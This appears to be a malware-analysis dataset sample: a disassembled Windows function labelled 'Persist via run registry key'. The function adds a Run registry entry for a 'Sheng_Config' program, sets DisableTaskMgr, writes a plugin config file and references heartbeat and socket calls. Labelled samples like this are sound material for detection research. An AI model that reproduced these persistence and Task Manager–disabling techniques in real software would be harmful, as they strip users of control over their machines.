Function at 0x40dacb
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 4], 0
cmp dword [ebp - 4], 0
jne 0x40de78
push htons
push 0
push 0x40d806
push closesocket
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x4dbdf0]
test eax, eax
jne 0x40db12
mov eax, 0x4ac985
push eax
push 0x80000301
push 0
push 0x7e5
push 0x20002
push 0
push dword [0x4dbde8]
push 5
mov eax, 1
mov ebx, 0x46cb80
call fcn.0040e0d3
add esp, 0x40
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 1
jne 0x40de55
push 0
push 0
push 0
push 1
mov eax, 3
mov ebx, 0x46edb0
call fcn.0040e0d3
add esp, 0x10
mov dword [ebp - 8], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x40db83
mov eax, 0x4ac985
push eax
push 1
mov ebx, 0x40f360
call fcn.0040e0df
add esp, 0x10
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x40dba9
push ebx
call fcn.0040e0cd
add esp, 4
push 0x4ac996
push dword [ebp - 0xc]
push str.HeartBeat
mov ecx, 3
call fcn.00401141
add esp, 0xc
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x40dbd6
push ebx
call fcn.0040e0cd
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x10]
test eax, eax
jne 0x40dbe9
mov eax, 0x4ac985
push eax
push 0x20002
push 0
push dword [0x4dbde8]
push 2
mov eax, 1
mov ebx, 0x46cc20
call fcn.0040e0d3
add esp, 0x1c
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x40dc1e
push ebx
call fcn.0040e0cd
add esp, 4
mov eax, 0x4adfd7
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.0040119d
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x40dc3f
push ebx
call fcn.0040e0cd
add esp, 4
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4adfe6
push reloc.WS2_32.dll_connect
push 0
push str.XTPZ
push reloc.WS2_32.dll_connect
push 0
push str.configPluginSet.ini
push 4
mov ebx, 0x410130
call fcn.0040e0df
add esp, 0x34
mov dword [ebp - 8], eax
push str.00000001
push dword [ebp - 8]
call fcn.0040120b
add esp, 8
cmp eax, 0
mov eax, 0
setne al
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x40dcac
push ebx
call fcn.0040e0cd
add esp, 4
cmp dword [ebp - 0xc], 0
je 0x40dddc
push reloc.WS2_32.dll_connect
push 0
push str._C:Program_Files__x86_Sheng_ConfigSheng
push reloc.WS2_32.dll_connect
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRunSheng_Config
push 0x80000301
push 0
push 3
push 3
mov ebx, 0x40fcb0
call fcn.0040e0df
add esp, 0x28
push reloc.WS2_32.dll_connect
push 0
push str._C:Program_Files__x86_Sheng_ConfigSheng
push reloc.WS2_32.dll_connect
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRunSheng_Config
push 0x80000301
push 0
push 4
push 3
mov ebx, 0x40fcb0
call fcn.0040e0df
add esp, 0x28
push reloc.WS2_32.dll_connect
push 0
push str.00000001
push reloc.WS2_32.dll_connect
push 0
push 0x4adfe6
push reloc.WS2_32.dll_connect
push 0
push str.XTPZ
push reloc.WS2_32.dll_connect
push 0
push str.configPluginSet.ini
push 4
mov ebx, 0x410230
call fcn.0040e0df
add esp, 0x34
mov eax, 0x4ae062
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.0040119d
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x40dd85
push ebx
call fcn.0040e0cd
add esp, 4
push 0x80000301
push 0
push 1
push reloc.WS2_32.dll_connect
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableTaskMgr
push 0x80000301
push 0
push 3
push 3
mov ebx, 0x40fcb0
call fcn.0040e0df
add esp, 0x28
mov eax, 0x4ae071
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.0040119d
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x40dddc
push ebx
call fcn.0040e0cd
add esp, 4
push 0x80000301
push 0
push 0x32
push 1
mov ebx, 0x40fff0
call fcn.0040e0df
add esp, 0x10
push reloc.WS2_32.dll_connect
push 0
push 0x4aceca
push reloc.WS2_32.dll_getpeername
push 0
push 0x4aced8
push 0x10001
push 0x6010000
push 0x52010001
push 3
mov ebx, 0x410010
call fcn.0040e0df
add esp, 0x28
push 0
push 0
push 0xffffffffffffffff
push 5
push 0x6010000
push 0x52010001
call fcn.0040e0e5
add esp, 0x18
jmp 0x40de55
push 0x80000301
push 0
push 0xc8
push 1
mov ebx, 0x40fff0
call fcn.0040e0df
add esp, 0x10
jmp 0x40dadb
mov esp, ebp
pop ebp
ret